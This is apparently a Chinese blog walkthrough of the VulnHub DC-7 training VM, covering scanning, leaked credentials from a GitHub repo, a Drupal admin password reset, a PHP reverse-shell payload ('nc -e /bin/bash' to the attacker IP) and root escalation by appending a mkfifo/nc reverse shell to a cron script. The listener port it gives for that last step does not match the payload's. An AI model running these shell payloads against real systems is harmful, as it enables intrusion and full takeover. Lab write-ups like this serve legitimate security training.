vulnhub靶机DC-7 渗透笔记

本文详细记录了对vulnhub靶机DC-7的渗透过程,包括信息收集、漏洞利用、提权等步骤。通过端口扫描发现开放的80端口,分析web网页确定CMS为Drupal 8,找到并利用源码中的用户名和密码登录靶机,修改网站admin用户密码,并通过反弹shell获取root权限,最终拿到flag。

靶机环境搭建

攻击渗透机: kali IP地址:192.168.33.128
靶机:DC-7 IP地址未知
靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/

渗透过程

1.信息收集

1.1 信息收集
arp-scan -l 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)

在这里插入图片描述
扫描到目标靶机IP地址为:192.168.33.130

也可以使用nmap扫描整个网段,确认存活主机

nmap -T4 192.168.33.0/24

在这里插入图片描述
同样扫描出了目标靶机IP地址为:192.168.33.130,同时还扫描到了目标靶机开放了22端口(ssh服务),80端口(http服务)

1.2 端口扫描

确定了目标靶机IP地址,接下来我们就需要扫描目标端口,确认目标开放了那些端口,那些服务,上面虽然已经扫描出了,但是并不全面

nmap -T4 -sV -A -O -p- 22,80 192.168.33.130
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(后面接要扫描到指定端口)

在这里插入图片描述
这样我们就扫描到了有关这两个端口的更详细信息

1.3 访问web网页(80端口)

知道目标开放了80端口,就网页访问一下,看看有无有用信息
在这里插入图片描述

是一个欢迎界面,里面给了我们一些提示:暴力破解或者字典攻击,不会成功;方法在盒子外面
在这里插入图片描述
通过火狐的Wappalyzer插件,我们探测到目标靶机网业的CMS为Drupal 8
在这里插入图片描述

2.漏洞利用

2.1 修改网站admin用户密码

在网页的左下角,有神秘信息
在这里插入图片描述

在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接
在这里插入图片描述

点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口
在这里插入图片描述
在这里插入图片描述

源码链接:https://github.com/Dc7User/staffdb

1 打开kali,下载源码
git clone  https://github.com/Dc7User/staffdb

下载好后,进行查看
在这里插入图片描述
发现一个config.php文件,在这个配置文件里找到了用户名和密码
在这里插入图片描述
用户名:dc7user 密码:MdR3xOgB7#dW

2 这里不下载源码也是可以的,直接访问源码寻找可用信息

依次查看源码,最终在config.php文件里面
在这里插入图片描述
在这里插入图片描述
同样发现了用户名和密码信息,用户名:dc7user 密码:MdR3xOgB7#dW

这用户名和密码难道是靶机的用户名和密码?尝试ssh登录

ssh dc7user@192.168.33.130

在这里插入图片描述
成功连接
查看当前目录,发现一个backups文件夹和一个mbox文件

ls

在这里插入图片描述
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码

cd backups
ls

在这里插入图片描述
打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

cat mbox

在这里插入图片描述
进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush

cd /opt/scripts
cat backups.sh

在这里插入图片描述
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
因为网站默认会有一个admin用户,所以我们进入到/var/www/html目录下,尝试使用drush命令修改admin用户的密码为123456

cd /var/www/html/
drush user-password admin --password="123456"

在这里插入图片描述
修改成功
我们已经修改了网站默认admin用户密码为 123456,所以我们现在来到网页后台 http://192.168.33.130/user/login,进行登录

dirb http://192.168.33.130

在这里插入图片描述

成功找到了后台登录界面,使用用户名(admin)密码(123456)进行登录
在这里插入图片描述
登录成功

2.3 反弹shell

在Content—>Add content–>Basic page
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
准备添加PHP代码反弹shell时,发现Drupal 8不支持PHP代码,但是Drupal 8为了安全,需要将php单独作为一个模块导入
Php介绍页面如下,模块包下载地址也附上
在这里插入图片描述
在这里插入图片描述

https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

点击Extend—>Install new module
在这里插入图片描述
在这里插入图片描述
将下载模块包的链接添加上,点击Install
在这里插入图片描述
Install后跳转到模块添加成功页面,然后去激活这个模块
在这里插入图片描述

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
在这里插入图片描述

<?php system('nc -e /bin/bash 192.168.33.128 9988')?>  #一句话脚本
#这里的IP地址填kali渗透机的IP地址 端口号要选择未被占用的

在这里插入图片描述
kali上开启一个端口进行监听

nc -lvp 9988

点击Welcome to DC-7,就可以反弹到shell
在这里插入图片描述
在这里插入图片描述

3.提权

使用python切换成交互式,这样我们看着更美观,操作也更方便

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
查看当前用户可以使用的root权限,发现什么都使用不了
在这里插入图片描述
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

写入反弹shell代码到backups.sh脚本文件中,添加计划任务

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.33.128 9966 >/tmp/f" >> backups.sh

在这里插入图片描述
并在kali中监听9988端口,之后等待计划任务执行

nc -lvvp 9988

在这里插入图片描述
稍微等待后成功getshell,权限为root

得到root权限后,进入root家目录下,发现theflag.txt文件

cd /root
ls
cat theflag.txt

在这里插入图片描述
大功告成,拿到了目标靶机的root权限,这个靶机就已经完全被你攻破了

4.总结

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值